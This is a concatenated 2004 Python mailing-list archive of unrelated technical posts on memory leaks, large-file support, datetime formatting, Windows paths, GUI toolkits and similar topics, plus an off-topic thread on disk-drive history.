Carl Scharenberg wrote: > > This seems to be of somewhat better quality than the output of the typical > > random-text generator. Can anyone suggest something on CPAN useful for > > such? > > You can do this by analyzing a sample text at a higher level. Instead > of generating text from the frequency of single letters, you generate > using the frequencies of 2, 3, or 4-letter sequences. Whole words work well too (given a large enough corpus). From claird at lairds.us Thu Sep 23 10:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 23 Sep 2004 14:08:05 GMT Subject: Emacs is going to die! =( [was Re: Emacs + python References: <1gkk9lv.184dvpkv6ff3bN%aleaxit@yahoo.com> Message-ID: In article <1gkk9lv.184dvpkv6ff3bN%aleaxit at yahoo.com>, Alex Martelli wrote: >CarlosRivera wrote: > >> What is happening with Jython now adays? I vaguely remember something >> about the main develope got hired by M$. > >Jim Hugunin (the guy who just got hired by Microsoft) _initiated_ >JPython but he hadn't been active on the project for awhile; he's >currently been doing IronPython, roughly a Jython-equivalent for dotNet, >and his work with the Common Language Runtime is no doubt part of why >Microsoft hired him. . . . Meanwhile, back to the original question: . Summary: Jython continues without Jim, but episodically; the Web site can go months at a time without apparent updates. , for example, illustrates that work continues. From alexander.hoffmann at netgenius.de Mon Sep 6 12:17:53 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Mon, 6 Sep 2004 18:17:53 +0200 Subject: python memory analysis In-Reply-To: References: <200409061457.50722.alexander.hoffmann@netgenius.de> Message-ID: <200409061817.53100.alexander.hoffmann@netgenius.de> Hello Jeremy, Thanks for your help ! Indeed a first invocation of gc.get_objects already gave me an idea about what might go wrong. It seems like the garbage collector does not remove objects a and b if a references b even though no one else references either a or b. I will continue my analysis. Thanks, Alex On Monday 06 September 2004 17:38, Jeremy Bowers wrote: > On Mon, 06 Sep 2004 16:51:09 +0200, Alexander Hoffmann wrote: > > You probably mean to utilize gc.get_objects and build some kind of > > statics upon it, don't you ? > > Ok, so this means there is indeed no tool which will help me with that ? > > :-( > > > > -alex > > So far, every time I've had a memory leak in Python, simply running the > process until it leaks for a while, then looking at gc.get_objects(), has > made it immediately clear what was being leaked. (Regretfully, I have > never been able to isolate a test case for any of these leaks.) You > usually see a bajillion instances of some class and that has always been > enough of a clue. > > Due to how Python works, I'm not sure it is even possible to create a tool > that does any better than that. It is meaningful to talk about a C > function that "leaks memory" by allocating and never deallocating, but it > is much trickier to assign "blame" in Python in a way that could ever have > meaning to a tool. If the object is left lying around it is already > because the computer believes somebody has a reference to it; how is the > computer to "know" this reference isn't "real"? (Assuming no bugs in > Python of course, but even so you're left with the same problem.) From jdhunter at ace.bsd.uchicago.edu Wed Sep 29 08:47:04 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Wed, 29 Sep 2004 07:47:04 -0500 Subject: datetime strftime methods require year >= 1900 Message-ID: >>> from datetime import date >>> dt = date(1005,1,1) >>> print dt.strftime('%Y') Traceback (most recent call last): File "", line 1, in ? ValueError: year=1005 is before 1900; the datetime strftime() methods require year >= 1900 Does anyone know of a datetime string formatter that can handles strftime format strings over the full range that datetime objects support? Thanks, John Hunter From joewong at mango.cc Mon Sep 13 05:27:42 2004 From: joewong at mango.cc (Joe Wong) Date: Mon, 13 Sep 2004 17:27:42 +0800 Subject: question on httpconnection class Message-ID: <04c401c49973$ec15ffd0$7f00a8c0@scl01.siliconcreation.com> Hi, I am using HTTPConnection class to connect a web server using HTTP 1.1 with persistence connection. How can I detetect that the connection is closed by the server before calling getresponse() function? Best regards, - Joe -------------- next part -------------- An HTML attachment was scrubbed... URL: From gandalf at geochemsource.com Fri Sep 3 04:49:37 2004 From: gandalf at geochemsource.com (Gandalf) Date: Fri, 03 Sep 2004 10:49:37 +0200 Subject: Encoding problems In-Reply-To: <41378609$0$24820$9b622d9e@news.freenet.de> References: <41378609$0$24820$9b622d9e@news.freenet.de> Message-ID: <41383021.60106@geochemsource.com> > works, but unfortunately, it doesn't, as raw_input does not support > Unicode. However, the encoding Python has determined is available > as sys.stdout.encoding, so you can do > > bildschirm = raw_input(u"n?z".encode(sys.stdout.encoding)) > > This works even if the user has done chcp in the window, as Python > queries the window what its encoding is, during Python startup. >>>import sys >>>sys.stdout.encoding 'cp852' >>>sys.stdin.encoding 'cp852' It is way strange! I understand that we need to do encoding for the output because strings in the program files needs to be encoded to the terminal's encoding before printing. However, the input (the result of raw_input) will be in the correct encoding (iso-8859-2 in my case) without any conversion. I do not understand why is that? The stdin encoding is cp852, not iso-8859-2. From jdhunter at ace.bsd.uchicago.edu Thu Sep 23 13:29:05 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Thu, 23 Sep 2004 12:29:05 -0500 Subject: lfs confusion In-Reply-To: (Andrew Dalke's message of "Thu, 23 Sep 2004 17:41:38 GMT") References: Message-ID: >>>>> "Andrew" == Andrew Dalke writes: Andrew> You might want to try doing a seek to a large int to see Andrew> what happens. Andrew> lfs_enabled = True try: fd.tell(sys.maxint * 3L) except Andrew> OverflowError: lfs_enabled = False Do you mean fd.seek? I get >>> fd.tell(sys.maxint * 3L) Traceback (most recent call last): File "", line 1, in ? TypeError: tell() takes no arguments (1 given) fd.seek works as advertised though. On box 1 where fd.tell() returns 0L I can do fd.seek(sys.maxint * 3L). On box2 "crcdocs" where fd.tell() returns 0, I get >>> fd.seek(sys.maxint * 3L) Traceback (most recent call last): File "", line 1, in ? OverflowError: long int too large to convert to int I did manage to read and write a 4GB file on crcdocs using the script I posted above. Perhaps I don't understand what the "large" in large file really means. I assumed it was 2**31 approx equal 2GB. Has the default, non LFS limit, increased? I did do the normal incantation with the CFLAGS when compiling python for LFS on crcdocs. 982 CFLAGS='-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64' OPT="-g -O2 $CFLAGS" ./configure 983 make 984 make install I now wonder if the there is a problem with my kernel or glibc. crcdocs:~> ls /usr/lib/libglib-2.0.so.0* /usr/lib/libglib-2.0.so.0 /usr/lib/libglib-2.0.so.0.400.0 crcdocs:~> uname -a Linux crcdocs.bsd.uchicago.edu 2.6.5-1.358 #1 Sat May 8 09:01:26 EDT 2004 x86_64 x86_64 x86_64 GNU/Linux I did create a 4GB file with a simple C++ program on crcdocs to test whether my kernel/glibc supported large files. Since I was able to create the 4GB file successfully with this program, I assumed my system was LFS enabled ). Now I am not so sure this is the right test for the system. Do you have any suggestions or special tricks to test the system for LFS, and do you do something different when compiling python for LFS? JDH From pmaupin at speakeasy.net Tue Sep 28 23:15:20 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 28 Sep 2004 20:15:20 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> Message-ID: <653b7547.0409281915.5ff0d92e@posting.google.com> wrote: > > Jeremy! > > Sure it would be nice if a the interpreter would give a warning before > really instantiating the instance of class foo (at least in "debug" mode). > In my case the error happened after the program ran about 30 minutes. I do > not think this is impossible. But, in Python, instances are "open". This means that I can add attributes to a class instance at _any_ time (well, if I don't use __slots__). The classes are open, too. I could even add attributes to the class definition, after import, and before creating any instances of the class. This openness allows for the creation of some really powerful programs. It also allows for the creation of some really powerful bugs, which is why you are being admonished to run unit tests. One thing this openness makes very difficult is the sort of static semantic check you seem to think the compiler should perform. If I can add a variable to the class after I import it but before I instantiate it, how would a checker know if it was a bug or not? (This is not to say that there are not programs which can flag such constructs as "suspect", and you are certainly free to use such programs to improve your own code, but please don't attempt to foist the rigors of a statically declared language on Python -- a lot of its practitioners are escapees from such rigorous straightjackets.) One quasi-rhetorical question, though -- I haven't used C++ in awhile (and I've never used Java). Are the stock compilers actually powerful enough to flag this sort of inter-method use of an instance member variable before it has been initialized? If so, color me edified. If not, why are you complaining that Python didn't find this soon enough, rather than praising Python for finding it at all? Personally, I would much rather debug from such a clean description of what went wrong than go rummaging around the typical core dump you could get from an uninitialized pointer in another language. Regards, Pat From john at grulic.org.ar Mon Sep 20 19:18:39 2004 From: john at grulic.org.ar (John Lenton) Date: Mon, 20 Sep 2004 20:18:39 -0300 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? In-Reply-To: <864d37090409180613135d02de@mail.gmail.com> References: <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <864d37090409180613135d02de@mail.gmail.com> Message-ID: <20040920231839.GA17517@grulic.org.ar> On Sat, Sep 18, 2004 at 10:13:53AM -0300, Carlos Ribeiro wrote: > > I'm hedging my bets on a related (but different) approach. I'm writing > business apps, and the style of interaction that I'm using doesn't > require a high degree of customization. It's a subset of the full GUI > approach, using simple data-entry forms and very little "live" > features. I want to be able to provide both native and browser based > frontends. The two versions do not need to work exactly the same way; > for example, some features may only be available on the native > front-end, but the API must degrade nicely in the case of unsupported > features. what you describe is Cimarr?n. Although there hasn't been an official release, it is in use in a (very small) number of production systems. Unfortunately I/we haven't had time to actually go for the web side of the thing, but the idea is that it will (eventually) have it. > How is it going to work? My idea is to have some kind of form > description API, with hooks for validation and live data lookups. The > engine will take care of the rendering either any of the frontends. > I'm doing some experiments with wxPython and DHTML, and the results > are promising. In a way, it's AnyGUI revisited with a web twist :-) we chose gtk2 instead of wx because gtk2 feels much more pythonic (to us, at least). I'd be interested in knowing what you thought of for the server side of the dhtml; we had thought about using twisted, because its event-driven approach fits in very nicely with gui programming. Bah, dunno if there's any useful content for you in this mail... Maybe an URL will help: http://savannah.nongnu.org/cgi-bin/viewcvs/papo/cimarron/ Hmm, we haven't commited the last changes. I've got to tell styxman off... -- John Lenton (john at grulic.org.ar) -- Random fortune: El pescar con ca?a, requiere paciencia y ma?a. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From peter at engcorp.com Tue Sep 14 16:43:46 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 16:43:46 -0400 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: References: Message-ID: Diez B. Roggisch wrote: >>Well, that's the problem. What's I'm supposed to do? > > > Maybe you can go for applying os.path.join and os.path.normpath to all > user-specified paths? I don't have windows, so I can't say how > os.path.normpath('c://foo') behaves, but maybe its does do the job. c:\>python Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.path.normpath('c://somepath') 'c:\\\\somepath' >>> os.path.abspath(os.path.normpath('c://somepath')) 'c:\\somepath' >>> os.path.abspath('c://somepath') 'c:\\somepath' Seems that normpath isn't up to the job, but abspath would be... if it doesn't cause other problems. Since we're inherently dealing with absolute paths for this problem, maybe it's adequate? -Peter From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Mon Sep 13 10:08:55 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Mon, 13 Sep 2004 14:08:55 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10kbafn3aq73p37@corp.supernews.com> Morten Reistad wrote: # In article , # Ville Vainio wrote: # >>>>>> "Grant" == Grant Edwards writes: # > # > Grant> shit about international agreements? Bush thinks he's # > Grant> entitled to declare anybody and everybody an "enemy # > Grant> combatant" and lock them up in secret forever. Add a # > Grant> moustache and he'd make a pretty good Stalin. # > # >I'll raise you a Hitler, in a (probably vain) attempt to invoke the # >Godwin's law. # # OK, I'll raise that with a Ghengis Khan and a Pol Pot. Hence the well known Usenet acronym PKB: Pol Khan Bloody. -- SM Ryan http://www.rawbw.com/~wyrmwif/ Haven't you ever heard the customer is always right? From aleaxit at yahoo.com Sat Sep 18 13:54:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 18 Sep 2004 19:54:28 +0200 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> Message-ID: <1gkbphs.l3eo2d1707mysN%aleaxit@yahoo.com> Magnus Lie Hetland wrote: ... > I haven't examined Greg's API in detail lately, but the original > Anygui API was inspired by it. I do think Greg seems to have a knack > for simple and pragmatic solutions, while I may have a weakness for > 'clever' and 'cute' (c.f. Anygui ;) Yeah, I share that weakness, in terms of character, even though in my case it's usually kept under control by a lifetime of experience (but with Anygui we were "just having fun", so...:-). > Anygui succeeded as a proof of concept, but the burden of sustained > support and development for many toolkits did make it very impractical > to keep things going. At the moment the project is effectively on ice. Very good summary! > If Greg can make a reasonably full-featured system (which isn't too > hard to install/compile and has a native look on the major platforms) I get the impression Greg isn't particularly interested in writing and maintaining a Windows back-end (and I find hard to fault him for that: I earn a living mostly developing for Linux, and whenever I possibly can I use a Mac -- indeed, I deliberately walked away from years of expertise programming for Win [[see http://www.aleax.it/TutWin32/index.htm]] because I just couldn't stand it any more...!-). But surely _some_body must be willing, able and motivated to work on that...? Or does everybody in the world loathe Windows programming so much they will only do it for financial gain?-) > I think that would be a major step toward a 'standard' GUI package for > Python. If not, there are existing packages (e.g. wx) that work very > well -- perhaps there really isn't a need for anything more standard > than that? I think there _is_ a need for something as elegant as Greg's API to take over, as the emerging de-facto standard, from wxWidgets' more complicated approach (which wxPython mostly resembles). To be honest, I am not adamant enough about it to buy a Windows computer and development environment (when all of my computers today are Linux or Mac ones) AND devote time and energy to Windows programming. But I do think it will be a pity if everybody else, particularly people who _do_ like Windows, similarly eschews involvement in PyGUI!-) Alex From winexpert at hotmail.com Wed Sep 29 09:44:06 2004 From: winexpert at hotmail.com (David Stockwell) Date: Wed, 29 Sep 2004 13:44:06 +0000 Subject: datetime strftime methods require year >= 1900 Message-ID: I wrote a c function to do this back in '93 for my shrinkwrap program http://www.duneram.com/img/gv1full.jpg . Alas for python, I do not know. David Surf a wave to the future with a TracFone cellphone http://cellphone.duneram.com >From: John Hunter >To: python-list at python.org >Subject: datetime strftime methods require year >= 1900 >Date: Wed, 29 Sep 2004 07:47:04 -0500 >ValueError: year=1005 is before 1900; the datetime strftime() methods >require year >= 1900 > >Does anyone know of a datetime string formatter that can handles >strftime format strings over the full range that datetime objects >support? > >Thanks, >John Hunter From lynn at garlic.com Fri Sep 3 14:09:30 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 12:09:30 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: Alan Balmer writes: > The first disaster was due to (possibly inferior) gaskets and inferior > judgment on launch day. The second was falling foam, and inferior > realization of the gravity of the problem. I'm not clear on what > either had to do with Utah. at the time of the 1st disaster ... the claim was that the utah bid was the only solution that required manufactoring the boosters in sections for transportion and the subsequent re-assembly in florida with gaskets. the assertion was that none of the other solutions could have had a failure because of gaskets ... because they didn't have gaskets (having been manufactored as a single unit). so the failure cause scenario went (compared to solutions that didn't require gaskets and manufactoring in sections) disaster because of inferior(?) gaskets inferior(?) gaskets because of gaskets gaskets because of transportion sectioning requirement transportation sectioning requirement because the sections were manufactored in utah -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From rst at _nospam_.drlug.org._nospam_ Mon Sep 6 11:04:38 2004 From: rst at _nospam_.drlug.org._nospam_ (Rune Strand) Date: Mon, 06 Sep 2004 17:04:38 +0200 Subject: Fastest way to loop through each digit in a number? References: Message-ID: <22voj0p4mr0i1gis8tjn6ob23bup23c48s@4ax.com> On Mon, 6 Sep 2004 02:32:46 -0400, "Terry Reedy" wrote: > You might also look at > >zero = ord('0') > >and then ord(i)-zero in loop Thanks! That seems like the fastest solution. When looping through 1000000, I get these results: ord : 4.703 (Terry Reedy) divmod : 10.469 (Paul Rubin) modulo : 7.625 (Roy Smith) lst comp: 11.750 map : 9.062 str : 8.219 The modulo and divmod methods includes list.append(d) and list.reverse() (list.append mapped to list_append). From ruchika_khera at hotmail.com Fri Sep 10 02:21:36 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 9 Sep 2004 23:21:36 -0700 Subject: Can we use /MAKE inside the popen3 command? Message-ID: <82880e86.0409092112.251373dc@posting.google.com> Is it OK to use "/" or "-" characters in a string and then use that string inside the popen3 command? I am doing the following - os.popen3('r'"C:\Program Files\... \EVC.exe"' r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD"') When I run this command in the Python shell, it says - "Syntax Error" and the marker is uderneath the "-" in "GFSDK - Win32 (WCE ARMV4) Release". Not sure if the marker is actually pointing to specifically "-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string. Anyone else came across similar problem? Thanks for your help. Ruchika From ajsiegel at optonline.com Sat Sep 4 10:38:13 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 04 Sep 2004 14:38:13 GMT Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <7xwtzaw8rz.fsf@ruckus.brouhaha.com> Message-ID: "Paul Rubin" wrote in message news:7xwtzaw8rz.fsf at ruckus.brouhaha.com... > "Arthur" writes: > > The way I am currently conceptualizing a solution, what I need is a method > > of the class that returns a new instance of the class. > > class foo: > def bar(self): > return foo() > > What's the problem? As I responded to Martin, what I am looking for - though I didn't describe it well - is a copy of the original instance (with, for example, same version of attributes generated with reference to its original arguments). And I am trying to work around something - or diagnose something I am running into - using copy.deepcopy. Is this the time to play with __dict__? Art From jdhunter at ace.bsd.uchicago.edu Fri Sep 24 07:22:29 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Fri, 24 Sep 2004 06:22:29 -0500 Subject: lfs confusion In-Reply-To: (Andrew Dalke's message of "Thu, 23 Sep 2004 22:10:26 -0600") References: Message-ID: >>>>> "Andrew" == Andrew Dalke writes: >> I pass the 2**31 test but fail your sys.maxint * 3L Andrew> Huh. I wonder what's going on there. Perhaps the Windows Andrew> API used handles up to 2**32? No, I can do 2**32 and much higher. Apparently, the limit on my system is sys.maxint (which is *really big*) >>> import sys >>> sys.maxint 9223372036854775807 >>> fd.seek(sys.maxint) >>> fd.seek(sys.maxint+1) Traceback (most recent call last): File "", line 1, in ? OverflowError: long int too large to convert to int >>> fd.tell() 0 I suddenly realize what is going on. The CPU, the AMD Opteron 250, is a 64 bit processor. I just got this machine and didn't know what kind of CPU it had. >>> 2**63 9223372036854775808L Apparently, on 64bit systems, tell returns an int because an int can address 2**63 bytes. So the acid test in the 64 bit era for LFS is to try and seek to 2**31, not to check the return type of tell. JDH From roy at panix.com Mon Sep 13 09:51:46 2004 From: roy at panix.com (Roy Smith) Date: Mon, 13 Sep 2004 09:51:46 -0400 Subject: unittest.TestCase, lambda and __getitem__ References: Message-ID: Steven Bethard wrote: > self.assertRaises(ValueError, lambda: obj[index]) > > Presumably, I could write this as: > > self.assertRaises(ValueError, obj.__getitem__, index) I'm with you, I don't like the idea of calling __getitem__ directly, because you're not testing what you want to test; you're testing something one step removed. Yes, it's a small step, but the idea in unit testing is to test as small a thing as possible. I think you need to just create a little function and call it: def tryIndex (object, index): return obj [index] self.assertRaises (ValueError, tryIndex, object, index) Another possibility would be: self.assertRaises (ValueError, eval ("object [index]")) >From a readability/understandability standpoint, I think I like the eval version better. From aleaxit at yahoo.com Wed Sep 22 17:20:08 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 23:20:08 +0200 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> <20040922193925.GA4669@nl.linux.org> <16721.55116.159985.802001@montanaro.dyndns.org> Message-ID: <1gkjfcu.aa6bnm1sitbpjN%aleaxit@yahoo.com> Gerrit wrote: ... > Ah. Am I correct to conclude that StringIO should either be rewritten > concatenating strings, or be deprecated, or both? StringIO is precious in many cases which have nothing to do with "concatenating string" but are rather "easily capturing in memory the input/output of some piece of code which writes to / reads from a file-like object", so deprecating it would be unwarranted. A little rewrite might perhaps be warranted, admittedly;-). Alex From pwatson at redlinepy.com Wed Sep 8 10:22:08 2004 From: pwatson at redlinepy.com (Paul Watson) Date: Wed, 8 Sep 2004 09:22:08 -0500 Subject: A historical question References: Message-ID: <2q8iskFsb2mkU1@uni-berlin.de> "Larry Bates" wrote in message news:M56dnRAyXdIUjKLcRVn-hw at comcast.com... > Unless I'm mistaken it is nearly impossible to > "execute" any software without translating the > source into some intermediate (read bytecode) set > of tokens and operators. All interpreters must > parse the source code and create some structured > representation (even if it is only internal) that > is normally VERY different from the source code > itself. Some interpreters never save out this > "byte code", but it exists nevertheless. > > Larry Bates > Syscon, Inc. > > "Jerald" wrote in message > news:chmphe$21tc$1 at ulysses.noc.ntua.gr... > > Hi. > > > > I'd like to know when python started working with bytecode. > > It seems natural that in the first python implementations > > code was really interpreted : executed directly. > > > > As a result, in the first days, when the py-programmer > > said: > > > > def foo (): > > print 'foo' > > > > python stored the function body and executed it each time > > foo was called. In some time it was decided to compile > > this to bytecode, optimize it and call the bytecode instead. > > > > Is it so? > > > > I am very curious. > > > > > > Gerald Agreed. However, we should also consider that "compiled" excutable images in machine language are simply bytecodes to the processor microcode. Now... If we had a processor for which we could write microcode to execute Python or Parrot bytecode, ... From robin at SPAMREMOVEjessikat.fsnet.co.uk Sat Sep 4 04:19:58 2004 From: robin at SPAMREMOVEjessikat.fsnet.co.uk (Robin Becker) Date: Sat, 04 Sep 2004 09:19:58 +0100 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> <486wnxz6ibq$.181vopiedpmhp$.dlg@40tude.net> Message-ID: <41397AAE.1090607@jessikat.fsnet.co.uk> Carlos Ribeiro wrote: > Mark, > > I'm really not the best person to advise you, but don't you think that > keeping the name Prothon (or a simple variation) would be the best > thing to do? I know that PyCs is a totally new beast, but Prothon is > not actually being used form practical stuff (as far as I know). So > naming it Prothon+ or something like that may be just fine. Even > Prothon may make the cut -- after all, you're going to keep the > prototype concept, aren't you? > > Just my thought on brand dillution. > > Carlos > .... I think the pro(thon) name was about prototype + python and I believe that the prototype basis is gone so it may not be really apt. -- Robin Becker From clifford.wells at comcast.net Sun Sep 19 06:28:17 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 03:28:17 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: References: <1095578301.31957.263.camel@devilbox.devilnet.internal> Message-ID: <1095589697.31957.295.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 11:46 +0200, Fredrik Lundh wrote: > Cliff Wells wrote: > > > I'm writing an application that needs to know if an Internet connection > > is available. Basically, I want to have something similar to what a lot > > of email clients have, where the app can work either in "online" or > > "offline" mode (it keeps a cache of downloaded info, so it can work > > without a connection if needed). > > on windows, you can use InternetCheckConnection: > > http://msdn.microsoft.com/library/en-us/wininet/wininet/internetcheckconnection.asp > I may in fact fall back on this for Windows. However, since the app runs on Windows, Linux and OSX, a cross-platform solution would be best. > > > The basic problem is this: it downloads info (RSS feeds) from a variety > > of sources. Any one (or more) of these could conceivably fail to > > download, so simply waiting for a timeout isn't sufficient (not easy to > > differentiate between having a bad server and the client not having a > > connection). Further, if it waits (say 30s) for the timeout to occur, > > this is going to be a bit annoying to the user. > > another solution would be to use asynchronous sockets, and only up- > date the local cache when you get new data from the server (set a flag > in the user interface if the server times out; if all channels are flagged, > the users will probably figure things out by themselves). bits and pieces: > > http://effbot.org/zone/effnews-1.htm (asynchronous client) > http://effbot.org/zone/effnews-2.htm (parsing) > http://effbot.org/zone/effnews-3.htm (connection management) Yours was actually the code that I started studying prior to undertaking this project (it was a big help). However, I'm using Twisted and a hacked-up version of Mark Pilgrim's feedparser at this point. The main reason I can't simply let things time out at this point is that a requirement for the app (as silly as it might seem) is that the user be notified that they are offline. So there needs to be a clear-cut definition within the app of the current state of affairs. More importantly, if the app is "online", timing out is returned as an error to the user, whereas in the "offline" state, as long as the data is cached, there is no error. Also, in the case of being offline and there is no data in the cache, the error message is to be different than if the app is online and the connection fails (yes, sigh). As I mentioned in another post, it seems a reasonable solution would be to determine the PC's DNS search path and then try those hosts. If they are unreachable then assume the connection is down. This would seem to be reasonably cross-platform (although admittedly, exactly how this is done would probably vary across platforms) Regards, Cliff -- Cliff Wells From skip at pobox.com Fri Sep 10 10:19:17 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 10 Sep 2004 09:19:17 -0500 Subject: a module finding its own name In-Reply-To: References: Message-ID: <16705.47077.145863.463463@montanaro.dyndns.org> Alexander> Is there a more or less sane way for a module to find its own Alexander> name? Sure. print __name__ Skip From __peter__ at web.de Sat Sep 18 05:18:50 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 18 Sep 2004 11:18:50 +0200 Subject: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: Paul McGuire wrote: > Who wants to burn up any more cycles on this? Only you and a certain neo-dadaist... Peter From lynn at garlic.com Fri Sep 10 17:10:08 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 10 Sep 2004 15:10:08 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <0vvphc.8nl1.ln@via.reistad.priv.no> Message-ID: Morten Reistad writes: > These are the IBM gear that most resemble SMB equipment. SMD's were > the BUNCH answer to DEC's RP04/5/6 and IBM's 3330. Originally made > by CDC; others also produced them. NCR and Fujitsu come to mind. > > Originally existed as 80-megabyte, pretty light units (30 kg); later > expanded to 160-megabyte. Then the real washing machines turned up; > 300 mb (315 unformatted megabytes). Originally 4 on a chain, 15 mbit > analogue readout (MFM ISTR; they never tried RLL). > > These were a mainstay among the smaller mini vendors from approx > 1974 to the advent of winchesters around a decade later. The > earliest winchesters made exact hardware replicas of the SMD. Then > the spec was expanded and became ESMD, but ESMD was never as > robustly standardized. Sacrifices of goats, PHBs and undergraduates > was needed to stabelize long ESMD chains. some number of the senior disk engineers left in the late '60s and early '70s .... fueling the shugart, seagate, memorex, cdc, etc disk efforts. in fact, the excuse given (later half 70s) for dragging me into bldg. 14 disk engineering conference calls with the pok cpu&channel engineers was that so many of the senior disk engineers (that were familiar with the channel interface) had left. random disk history URLs from around the web: http://www.old-computers.com/history/detail.asp?n=51&t=2 http://www.computerhistory.org/events/lectures/shugart_09052002/shugart/ http://www.logicsmith.com/hdhistory.html http://www.thetech.org/exhibits/online/revolution/shugart/i_a.html http://www.disktrend.com/disk3.htm search engine even turns up one of my posts that somebody appears to be shadowing at some other site: http://public.planetmirror.com/pub/lynn/2002.html#17 of course the original http://www.garlic.com/~lynn/2002.html#17 in the previous posting http://www.garlic.com/~lynn/2004l.html#12 this reference http://www.garlic.com/~lynn/95.html#8 also gave the speeds and feeds for 3350 (including 317mbyte capacity). the 1970s washing machines were the 3340s & 3350s ... but the 3350s enclosed and not removable/mountable; 3340s .... which had removable/mountable packs .... included the head assemble & platters completely enclosed. 3340 (winchester) reference, picture includes removable assembly on top of drives ("3348 data module"): http://www-1.ibm.com/ibm/history/exhibits/storage/storage_3340.html http://www-1.ibm.com/ibm/history/exhibits/storage/storage_3340b.html picture of row of 3350 drives is similar to that of 3340s ... except the 3350 packs weren't removable and had much larger capacity http://www-1.ibm.com/ibm/history/exhibits/storage/storage_3350.html postings reference product code names: http://www.garlic.com/~lynn/2001l.html#53 mainframe question http://www.garlic.com/~lynn/2003b.html#7 Disk drives as commodities. Was Re: Yamhill 3340-35 was code named Winchester and as per the IBM 3340 ULR began shipping to customers november, 1973. we had a joke when the 3380s were introduced about filling them completely full. if you converted an installation with say 32 3350 drives .... to 16 3380s (sufficient to hold 32-3350 drives worth of data, 10gbytes) ... you could have worse performance ... while 3380s were faster than 3350s, there weren't twice as fast. the proposal was to have a special microcode load for the 3880 controller .... which would only support half of a 3380 disk drive. There were a number of customer people (mostly technies) at share which thought it would be a good idea ... and furthermore that ibm should price these half-sized 3380s higher than full-sized 3380s (to make the customer exectives feel like they were getting something special). They would be called "fast" 3380s (because avg. seek only involved half as many cylindes) and it was important that the limitation be built into the hardware and be priced higher. It was recognized that installations could create their own "fast" 3380s ... just by judicious allocation of data and no special microcode. However, it was pretty readily acknowledged that w/o the hardware enforced restrictions, that there were all sorts of people that populate datacenters that would be unable to control themselves and fully allocated each 3380. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From bac at OCF.Berkeley.EDU Sun Sep 19 02:47:52 2004 From: bac at OCF.Berkeley.EDU (Brett C) Date: Sat, 18 Sep 2004 23:47:52 -0700 Subject: python-dev Summary for 2004-08-16 through 2004-08-31 Message-ID: <414D2B98.5020109@ocf.berkeley.edu> python-dev Summary for 2004-08-16 through 2004-08-31 ++++++++++++++++++++++++++++++++++++++++++++++++++++ This is a summary of traffic on the `python-dev mailing list`_ from August 16, 2004 through August 31, 2004. It is intended to inform the wider Python community of on-going developments on the list. To comment on anything mentioned here, just post to `comp.lang.python`_ (or email python-list at python.org which is a gateway to the newsgroup) with a subject line mentioning what you are discussing. All python-dev members are interested in seeing ideas discussed by the community, so don't hesitate to take a stance on something. And if all of this really interests you then get involved and join `python-dev`_! This is the forty-seventh summary written by Brett Cannon (new type of coverage, same kind of sarcasm). To contact me, please send email to brett at python.org ; I do not have the time to keep up on comp.lang.python and thus do not always catch follow-ups posted there. All summaries are archived at http://www.python.org/dev/summary/ . Please note that this summary is written using reStructuredText_ which can be found at http://docutils.sf.net/rst.html . Any unfamiliar punctuation is probably markup for 